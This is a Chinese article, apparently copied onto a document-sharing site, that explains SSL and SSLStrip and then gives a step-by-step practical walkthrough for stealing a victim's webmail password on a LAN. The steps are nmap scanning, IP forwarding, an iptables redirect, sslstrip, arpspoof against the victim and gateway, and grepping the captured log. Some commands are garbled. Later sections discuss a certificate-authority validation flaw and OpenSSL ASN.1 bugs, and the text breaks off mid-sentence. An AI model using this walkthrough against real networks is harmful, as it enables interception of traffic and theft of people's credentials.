中间人攻击

合集下载
  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

SSL 中间人攻击

来源:本站转载作者:佚名时间:2012-08-21 19:04:11

免责声明:

本文旨在探讨 SSL 加密的安全问题,对于读者使用本文介绍的方法和工具进行的一切行为不负任何责任。

一、什么是 SSL

SSL 是 Secure Socket Layer 的简称,中文意思是安全套接字层,由 NetScap e 公司所开发,用以保障在 Internet 上数据传输的安全,确保数据在网络的传输过程中不会被截取和窃听。

目前比较流行的版本为 SSL3.0,它已被广泛地用于 Web 浏览器与服务器之间的身份认证和加密数据传输。

SSL 协议提供的服务主要有:

(1)认证用户和服务器,确保数据发送到正确的客户和服务器。

(2)加密数据以防止数据中途被窃取。

(3)维护数据的完整性,确保数据在传输过程中不被改变。

二、关于 SSLStrip

SSLStrip 的工作原理及步骤如下:

(1)先进行中间人攻击来拦截 HTTP 流量。

(2)将出现的 HTTPS 链接全部替换为 HTTP,同时记下所有改变的链接。(3)使用 HTTP 与受害者机器连接。

(4)同时与合法的服务器建立 HTTPS。

(5)受害者与合法服务器之间的全部通信经过了代理转发。

(6)其中,出现的图标被替换成为用户熟悉的“小黄锁”图标,以建立信任。(7)这样,中间人攻击就成功骗取了密码、账号等信息,而受害者一无所知。

SSLStrip 的官方下载地址为: http: ///software/sslstrip/,目前仅提供 Linux 系统下的版本,该工具为 Python 语言编写,需要 Python 环境支持,故要先下载 Pyth on 并安装。

三、SSLStrip 攻击实战操作(以破解用户 IP 为 192.168.1.33,用户账号为test

的 126 邮箱的密码为例)

步骤 1:

使用 nmap 对内网中开启的机器进行扫描以确定攻击目标

nmap –sP 192.168.1.0/24

参数解释:

-sP:启用 ICMP 探测,即 ping 扫描。

步骤 2:

将网卡模式改为转发模式

Echo “1” >/proc/sys/net/ipv4/ip_forward

步骤 3:

在 iptables 里添加规则,把所有 http 数据导入到 sslstrip 中

Iptables –t –A PREROUTING –p tcp –destination-port 80 –j REDIREC T

–to-port 9527

或者

Iptables –t nat –A PREROUTING –p tcp –dport 80 –j REDIRECT –to-port 9527

参数解释:

-t:制定命令要操作的匹配包的表

-A:在选择的链末添加规则

-p:制定协议

–destination-port 或–dport:制定目标端口

-j:目标跳转步骤 4:

开启 SSLStrip

Python ./sslstrip.py –a –l 9527 pojie.log

参数解释:

-a:记录所有来自服务器的 SSL 及 HTTP 数据流量内容。

-l:监听的端口,应和前面在 iptables 里设置的一样。

-w:将拦截内容保存为文件。

步骤 5:

进行中间人攻击

arpspoof –i eth0 –t 192.168.1.33 192.168.1.1

参数解释:

-i eth0:指定的工作网卡。

-t:制定要进行欺骗的目标 IP 及网关 IP。

步骤 6:

查看 SSLStrip 生成的 pojie.log 文件里关于账户的信息

Cat pojie.log | grep test

从 pojie.log 文件中去找含有账户 test 字符的内容,从而找出用户 test 的密

码。

SSL的窃听和安全最近颇受关注,吴洪声提出了一种SSL窃听攻击的思路,主要是利用了C A签发证书的一个重大缺陷:只验证目标网站的域名信箱即可签发该网站的证书,因此,只要搞到目标网站的一个信箱,就可以窃取到这个域名的SSL证书。

因此,大多数免费邮箱或公司邮箱的SSL证书都存在网站SSL证书被窃取的可能性,Gmail由于使用而不是,因此得以幸免于难。然而,有权使

用的Google公司的员工依然有可能获取的SSL证书,一旦该证书被用于大规模的域名劫持,后果不堪设想。

如果想要避免这种SSL证书窃取,CA需要修改目前的签发流程,即在签发前需要验证申请者对于该网站具有管理权限,例如,在网站的首页增加一小段隐藏代码,或者在网站上传一个指定的HTML文件,这样,只有真正的网站拥有者才能做这样的操作,非法窃取者即使有了该域名的邮件,也无法获取该域名的证书。

当然,从根本上讲,这个攻击并非对SSL安全协议本身的攻击,只是对其发行机构的攻击,SSL协议目前来说还是安全可靠的。

名词注释:SSL

安全套接字层(Secure Sockets Layer,SSL)是一套提供身份验证、保密性和数据完整性的加密技术。SSL 最常用来在Web 浏览器和Web 服务器之间建立安全通信通道,用以保障在Internet 上数据传输之安全,SSL 利用数据加密技术,确保数据在网络上之传输过程中不会被截取及窃听,它也可以在客户端应用程序和Web 服务之间使用。

在Secure Sockets Layer (SSL) 以及Transport Layer Security (TLS)协议中发现了一些漏洞。漏洞主要发生在Abstract Syntax Notation One (ASN.1) 解译码(parsing code)。一般的情况下会造成DoS攻击,最严重的情况能使远程攻击者执行任意程序代码。

SSL及TLS被用来提供验证、加密、以及较高层的网络应用程序譬如:HTTP的整合服务。某些被通讯协议,例如X.509凭证,使用的加密组件是以ASN.1 对象来实现。为了加密以及解密这些对象,许多SSL以及TSL功能(包括加密函数库)都会包含ASN.1 解析器(parsers)。

OpenSSL是一套被广为利用的,开放原代码的SSL及TLS程序。OpenSSL也提供一般用途的加密函数库,包含了一个ASN.1解析器。任何应用程序使用OpenSSL ASN1 函数库去解析不被信任的数据,包括所有SSL 以及TLS 应用程序,采用S/MIME (PKCS#7) 或凭证产生函数。攻击者通过发送精心构造的client认证讯息到server 端,或者尝试让一个client端在攻击者的控制之下跟server 端进行连结。当client 端建立连结之后,攻击者可以传递进行构造的认证讯息(注:只有server 端要求取得client 的认证,client才可以传递认证信息。SSL/TLS 服务器忽略主动提供的client 认证讯息能降低受攻击的风险)。OpenSSL中存在下列安全漏洞:

1、OpenSSL ASN.1解译器对于释放内存配置的安全性不足:

OpenSSL释放内存的方式存在缺陷,这些内存原本是用于存放ASN.1结构的,这会让远程

相关文档
最新文档